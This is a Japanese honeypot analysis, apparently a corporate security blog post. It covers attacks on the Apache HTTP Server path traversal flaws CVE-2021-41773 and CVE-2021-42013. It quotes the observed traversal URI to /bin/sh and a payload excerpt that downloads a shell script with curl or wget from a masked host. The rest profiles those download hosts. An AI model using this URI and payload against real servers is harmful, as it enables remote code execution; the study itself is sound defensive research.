ハニーポット観測：Apache HTTP Serverパストラバーサル脆弱性（CVE-2021-41773，CVE-2021-42013）を標的とした攻撃の攻撃分析

# はじめに

三菱電機の大塚です。

三菱電機　情報技術総合研究所では、製品開発時のセキュリティ対策にフィードバックする目的で、複数種類のハニーポットを設置・運用しています。

運用しているハニーポットの1つに、IoT機器を応答機能に設置した「IoT家電ハニーポット」があります。これは、IoT機器の普及に伴い増加した「IoT家電を使用している家庭」を模擬しています。

ハニーポットとは、攻撃される環境を模擬した囮システムであり、サイバーセキュリティの研究に使用されます。一般的に、攻撃を観測したいシステムを模擬するため、様々な種類のハニーポットが目的に合わせて設置されています。

IoT家電ハニーポットでは、IoT家電を標的としたサイバー攻撃を観測しており、さらに、IoT家電に搭載されたサーバ類を標的としたサイバー攻撃についても観測しています。

<div align="center">
&emsp;&emsp;&emsp;&emsp;&emsp;&emsp;
<img width=70% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/01b75a53-9bfe-10bb-b6c3-f2c6a8e08c96.png">&emsp;
</div>


今回は、IoT家電ハニーポットで観測した、Apache HTTP Serverパストラバーサル脆弱性を標的とした攻撃について、攻撃パケット内容や、パケット内に含まれるIPアドレスについて分析した結果をご紹介します。 

# Apache HTTP Serverのパストラバーサル脆弱性の概要

パストラバーサルとは、プログラムに対して特殊な文字列を送信することにより、通常はアクセスできないファイルの内容を取得する攻撃手法です。

Apache HTTP Serverのパストラバーサルの脆弱性（CVE-2021-41773，CVE-2021-42013）とは、2021年10月に発表された脆弱性です。

> Apache HTTP Serverのバージョン2.4.49には、パストラバーサルの脆弱性（CVE-2021-41773）があります。結果として、遠隔の第三者が、細工したリクエストを送信し、Apache HTTP Serverが稼働するサーバーでアクセスが適切に制限されていないドキュメントルート外のファイルを読み取るなどの可能性があります。
>
> （JPCERT/CC，Apache HTTP Serverのパストラバーサルの脆弱性（CVE-2021-41773）に関する注意喚起，https://www.jpcert.or.jp/at/2021/at210043.html）

本脆弱性を悪用する攻撃は既に確認されており、それらを実証するとみられるコードも複数公開されています。

また、本脆弱性はApache HTTP Serverのバージョン2.4.49だけでなく、バージョン2.4.50にも存在することが明らかになっています（CVE-2021-42013）。

---

* JPCERT/CC，Apache HTTP Serverのパストラバーサルの脆弱性（CVE-2021-41773）に関する注意喚起，[https://www.jpcert.or.jp/at/2021/at210043.html]()
* The Apache Software Foundation，important: Path traversal and file disclosure vulnerability in Apache HTTP Server 2.4.49 (CVE-2021-41773)，[https://httpd.apache.org/security/vulnerabilities_24.html#2.4.50](https://httpd.apache.org/security/vulnerabilities_24.html#2.4.50)
* The Apache Software Foundation，critical: Path Traversal and Remote Code Execution in Apache HTTP Server 2.4.49 and 2.4.50 (incomplete fix of CVE-2021-41773) (CVE-2021-42013)，[https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51](https://httpd.apache.org/security/vulnerabilities_24.html#2.4.51)

---

# 観測したパケットの内容

2024年10月1日～2024年12月19日の観測期間において、弊社のハニーポットでは、以下のHTTPリクエストを524件観測しました。

| URI|
| :---------------------------------------------------------------------------------------------------------: |
| `http://``弊社ハニーポットIPアドレス'':80/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh` |

| ペイロード（一部抜粋）                                                             |
| :----------------------------------------------------------------------------------: |
| `X=$(curl http://XX[.]XX.XX.XX/sh \|\| wget http://XX[.]XX.XX.XX/sh -O-); echo "$X"` |

上記ペイロードでは、ペイロード内に挿入されたIPアドレス（XX[.]XX.XX.XX）からシェルスクリプトを入手し、標的ホストに対して攻撃する様子がみられます。本IPアドレスをこの記事では、ダウンロード元ホスト、と表現します。

524件の攻撃パケットを送信したユニークなホスト数が234ホストであるのに対し、ダウンロード元ホストと推定されるペイロード内に挿入されたIPアドレス（XX[.]XX.XX.XX）は11種類のみでした。

攻撃パケット数、ユニークな攻撃ホスト数に対し、観測された種類が少なく、使いまわされていることから、これらについて深掘りして分析をしました。

# 分析方法

以下の観測期間、分析対象に対し、3つの観点から分析を行いました。

観測期間：2024年10月1日～2024年12月19日

分析対象パケット：弊社IoT家電ハニーポットで観測された、上記URIパケット524件

1. ダウンロード元ホストの詳細情報
2. ダウンロード元ホストの時間推移
3. ダウンロード元ホスト別の攻撃元ホスト情報

なお、研究倫理の観点から、攻撃ホスト情報については一部情報をマスクして記載しています。

# 分析結果

## 1. ダウンロード元ホストの詳細情報

524件の攻撃パケットに対し、ペイロード内に挿入されたIPアドレス（ダウンロード元ホスト）は11種類でした。これらをNo.1～No.11とします。

IPアドレスからホスト名や地理情報を確認できるサービスであるIPinfo[^1]を使用し、国情報、組織情報、組織タイプを調査しました。その結果と、524件の攻撃パケットのうち何件のパケットが該当ホストをダウンロード元ホストに指定していたかをまとめたものが以下の表です。

| ホスト | 国情報      | 組織情報 | 組織タイプ | 観測攻撃パケット数 |
| ------ | ----------- | -------- | ---------- | ------------------ |
| No.1   | Lithuania   | A社      | hosting    | 2                  |
| No.2   | Lithuania   | A社      | hosting    | 64                 |
| No.3   | Lithuania   | A社      | hosting    | 44                 |
| No.4   | Lithuania   | A社      | hosting    | 3                  |
| No.5   | Lithuania   | A社      | hosting    | 6                  |
| No.6   | Lithuania   | A社      | hosting    | 8                  |
| No.7   | Lithuania   | A社      | hosting    | 4                  |
| No.8   | Portugal    | B社      | hosting    | 98                 |
| No.9   | Netherlands | C社      | hosting    | 25                 |
| No.10  | Netherlands | C社      | hosting    | 19                 |
| No.11  | Turkey      | D社      | hosting    | 251                |

同じアルファベットの組織は同一組織を示します。組織タイプは組織がどのような属性をもつかを示し、hosting, isp, education, businessの中から、属性が付与されます。

11種類のダウンロード元ホストのうち、A社が7ホスト、C社が2ホスト、B社とD社が各1ホストという結果になりました。全てのホストの組織タイプはhostingであり、ホスティングサーバであると推測されます。

次に、これらのダウンロード元ホストがどの程度活発に悪性の活動をしているホストであるかを判断する1つの材料として、AbuseIPDB[^2]でホスト情報を調査しました。AbuseIPDBとは悪性ホストの情報共有サイトであり、IPアドレスを入力すると、そのIPアドレスが悪性であると投稿された件数をもとに、どの程度の割合で悪性ホストであるかの情報が得られます。この情報は、悪性の活動を活発に行っているか、もしくは、あまり目立った活動を行っていないか、の参考に使用します。

また、ダウンロード元ホストはC2サーバ（Command and Control Server）と同じく、生存期間が短いことがあります。現時点で生きているホストなのかを調べるため、各ホストに対してnmapを用いたポートスキャンを行います。なお、nmapが対象ホストに対して攻撃行為にならないよう注意し、スキャン対象ポートはTCPポートのみとし、1度のみnmapコマンドを実行してサービス情報を取得することとしました。

AbuseIPDBで検索し得られた悪性割合と、nmapによるポートスキャンから解放していると判明したポートの一覧を表に示します。（2024年12月末時点）

| ホスト | 悪性割合（％） | 解放ポート   |
| ------ | -------------- | ------------ |
| No.1   | 0              | -            |
| No.2   | 11             | -            |
| No.3   | 3              | -            |
| No.4   | 1              | 22           |
| No.5   | 0              | -            |
| No.6   | 0              | -            |
| No.7   | 0              | -            |
| No.8   | 12             | 22, 80, 2222 |
| No.9   | 2              | -            |
| No.10  | 5              | 22, 80       |
| No.11  | 47             | 22, 80       |

AbuseIPDBでは、No.1,5,6,7については悪性割合が0%でした。また、nmapでのポートスキャン結果は、No.4,8,10,11については解放ポートが確認でき、それ以外のポートについては確認できませんでした。閉じているポートのなかで一部検知できたポートもありますが、それらは安全性に配慮し記載しないこととします。

AbuseIPDBは情報投稿サイトであるため、該当ホストからの攻撃を検知した人が投稿する必要があり、悪性割合が0%であることが良性ホストであることを必ずしも意味するわけではありません。しかし一方で、大規模な攻撃元ホストになっているわけではないことが分かります。攻撃元ホストとしての投稿数が多くないことから、これらはあくまでダウンロード元ホストであり、攻撃元として目立った活動をしていないことが推測されます。

解放ポートについては、確認できた4ホストが待ち受けていたサービスはSSH（ポート22, 2222）とHTTP（ポート80）でした。SSHのサービスはOpenSSHが稼働し、HTTPのサービスはnginxが稼働していました。

また、解放ポートが検知できたホストは悪性割合が0%ではないという結果になりました。これは、複数のポートを解放しサービス稼働しているため、ダウンロード元ホストとしての役割以外も担って活動している可能性があります

## 2. ダウンロード元ホストの時間推移

524件の攻撃パケットを観測時間でグラフにし、攻撃パケット内に含まれるダウンロード元ホストごとに色分けしたものが以下のグラフです。No.3については、URIは同一ですが、ペイロードに記載されている取得ディレクトリがshではなくazのものがあるため、2色に分かれています。このグラフから、使用されるダウンロード元ホストは時間推移とともに変化する傾向にあること、No.11のホストは継続して使用されていることが分かります。

さらに、AbuseIPDBの結果と合わせると、悪性割合が10%を越えていたNo.2, 8, 11のホストは、使用された期間が長いことが分かります。

使用期間が長くなるにつれて悪性割合が増加する傾向にあるため、ダウンロード元ホストはある程度の期間でIPアドレスを引っ越し、検知されないように移動を繰り返しているものと推測できます。今回のケースでは、No.2, 8, 11のホスト以外はおよそ2～4日程度で推移していました。

<div align="center">
&emsp;&emsp;&emsp;&emsp;&emsp;
<img width=80% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/b7bf0abd-0945-c4bb-5054-b932c7f5c44b.png">&emsp;
</div>

## 3. ダウンロード元ホスト別の攻撃元ホスト情報

ダウンロード元ホストと、攻撃元ホストにどのような関係があるのかを、国別の割合を用いて調査します。No.1～11までのそれぞれについて、それらを使用した攻撃元ホストが、どのような国に所属しているかを整理します。

No.1～No.7のダウンロード元ホストはリトアニアに属するのに対し、これらのダウンロード元ホストを指定した攻撃元ホストにリトアニアに属したホストはありませんでした。No.8のダウンロード元ホストはポルトガルに属するのに対し、攻撃元ホストにポルトガルに属すホストはなく、No.9,10のオランダも同様に、ダウンロード元ホストと攻撃元ホストに同一の国名は確認できませんでした。No.11のトルコのみ、攻撃元ホストがトルコに属するパケットを2件確認していました。

これらの結果から、攻撃元ホストとダウンロード元ホストは属する国などの共通点はもたず、世界中の攻撃元ホストが限られた数のダウンロード元ホストを共有し使用していることが分かります。

<div align="center">

&emsp;
</div>

<img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/fba120f0-4562-f0ac-3b99-56c2ed4f99d1.png"> <img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/14916507-0fe2-712b-d293-24a87d7bc185.png">

<img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/65030cb1-0327-cae9-c6c3-7e7c1295212e.png"> <img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/75932199-df31-8d16-5152-0ac2a40fe350.png">

<img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/6ae0590a-9432-d69e-cfe5-b26c1abdb84b.png"> <img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/7f434fc3-26ba-6a68-290c-0e4f1fa06617.png">

<img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/d3e59d3c-c15a-12e0-fa54-d6f70660d9db.png"> <img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/949e48fd-5426-701b-7fc5-d3736ab9913d.png">

<img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/62f10ea2-41bd-fbab-015f-fb7fad8a851c.png"> <img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/32956f11-d2a4-24df-8775-f7ec0305624a.png">

<img width=45% src="https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/3898355/9afb29a5-085b-9f96-cd76-e50387ee8b40.png">


# おわりに

Apache HTTP Serverパストラバーサル脆弱性を標的とした攻撃について、ダウンロード元ホストに着目して分析を行いました。

その結果、攻撃者が使用するダウンロード元ホストが時間推移とともに変わり、複数のアドレスが使用されている様子が確認できました。  各ダウンロード元ホストの悪性割合の結果、および、ダウンロード元ホストの時間推移の結果より、長期間使用されているダウンロード元ホストであるほど、悪性割合が高い傾向にありました。長期間同じダウンロード元ホストを使用すると悪性として投稿される割合が増加します。  攻撃の標的に悪性ホストとして検知されブロックされないよう、攻撃の成功率を上げるために、IPアドレスを変えている可能性があります。攻撃の標的に悪性ホストとして検知されブロックされないよう、攻撃の成功率を上げるために、IPアドレスを変えているのだと考えられます。また、ダウンロード元ホストと攻撃元ホストの属する国に共通点はなく、確認した11種のダウンロード元ホストのIPアドレスは全てホスティングサーバに属しています。攻撃を管理する側が、IPアドレスを変えやすいホスティングサーバを使用することで検知されないようにしていることが推測され、これらは本分析の結果と矛盾しません。

弊社では、今後もハニーポットの継続的な運用と分析を行い、最新の脆弱性のみならず、過去の脆弱性に対してもこのような分析を行っていきます。攻撃元ホストから攻撃パケットが届くことは、攻撃元ホストの種類の多さを鑑みると、それ自体を防ぐことは困難です。一方、今回のダウンロード元ホストのように、攻撃の核となる少数のホストがあると判明すれば、それらのホストとの通信を防ぐことで、攻撃の成功率を下げることに繋がります。最新の脆弱性や攻撃に対する対策はもちろんですが、過去の脆弱性から得られる情報も活かし、今後もセキュリティ対策に力を入れていきます。

ここまでお読みいただきありがとうございました。
今後も、ハニーポットを用いた観測・分析結果について、こちらで発信していく予定です。
ご質問やコメントもお待ちしております。

# 参考文献
[^1]: IPinfo: [https://ipinfo.io/](https://ipinfo.io/)
    
[^2]: AbuseIPDB: [https://www.abuseipdb.com/](https://www.abuseipdb.com/)